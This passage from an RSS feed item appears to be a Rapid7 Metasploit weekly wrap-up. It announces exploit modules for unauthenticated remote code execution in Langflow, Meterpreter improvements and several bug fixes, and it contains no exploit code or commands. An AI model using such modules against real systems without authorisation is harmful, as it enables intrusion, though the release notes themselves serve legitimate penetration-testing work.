module that detects and exploits CVE-2026-0769, an unauthenticated RCE vulnerability impacting Langflow version 1.3.2.</p><h3>Langflow AI Public Flow Build Unauth RCE (CVE-2026-10134)</h3><p>Author: Richard Howe</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21875">#21875</a> contributed by <a href="https://github.com/rmhowe425">rmhowe425</a></p><p>Path: multi/http/langflow_unauth_rce_cve_2026_10134</p><p>CVE reference: <a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-10134/">CVE-2026-10134</a></p><p>Description: Adds a new exploit module that detects and exploits CVE-2026-10134, an unauthenticated remote code execution vulnerability impacting Langflow versions 1.0.0 through 1.9.3.</p><h2>Enhancements and Features (3)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/20944">#20944</a> from <a href="https://github.com/Nayeraneru">Nayeraneru</a> - Adds specs to ensure the mkdir post API behaves consistently.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21915">#21915</a> from <a href="https://github.com/vjonline">vjonline</a> - Consolidates reverse handler bind address handling into a shared Msf::Handler::Reverse::Bind module.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/22041">#22041</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Adds multiple Meterpreter improvements. The Windows Meterpreter has a major reflective-loader/IAT-import reduction, as well as improved WinAPI/error handling, and MinGW/CMake build refinements. The Python Meterpreter has improvements to Windows stat support and FreeBSD process listing. The PHP Meterpreter resolves PHP UDP channel read bugs. All Meterpreters now align on recursive mkdir -p capabilities.</li></ul><h2>Bugs Fixed (6)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21490">#21490</a> from <a href="https://github.com/h00die">h00die</a> - Fixes a crash when fingerprinting HTTP services that contained null bytes.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21979">#21979</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Adds additional HTTP redirect checks to multiple modules.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21994">#21994</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Adds additional FTP PASV IP validation checks to multiple modules.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/22001">#22001</a> from <a href="https://github.com/Suryanshuv14">Suryanshuv14</a> - Fixes DirtyClone module metadata and a typo.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/22002">#22002</a> from <a href="https://github.com/mjatin2007">mjatin2007</a> - Fixes leaking TCP sockets and file descriptors when the MSSQL Login Scanner module or the MSSQL session type is used.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/22014">#22014</a> from <a href="https://github.com/cgranleese-r7">cgranleese-r7</a> - Fixes false positives in the detection logic of the auxiliary/gather/hikvision_info_disclosure_cve_2017_7921, auxiliary/gather/magento_xxe_cve_2024_34102, and auxiliary/scanner/http/elasticsearch_traversal modules.</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:">Pull Requests 6.5.6…6.5.8</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.5.6%E2%80%A66.5.8">Full diff 6.5.6…6.5.8</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-langflow-mongodb-and-more</link>
      <guid isPermaLink="false">blte10a3a25da91c515</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Alan David Foster]]></dc:creator>
      <pubDate>Fri, 23 Oct 2026 15:38:56 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0d50271a40a5f14f/6849ab419621d9f3824d5017/metasploit-sky.png" medium="image" />
    </item>
  </channel>
</rss>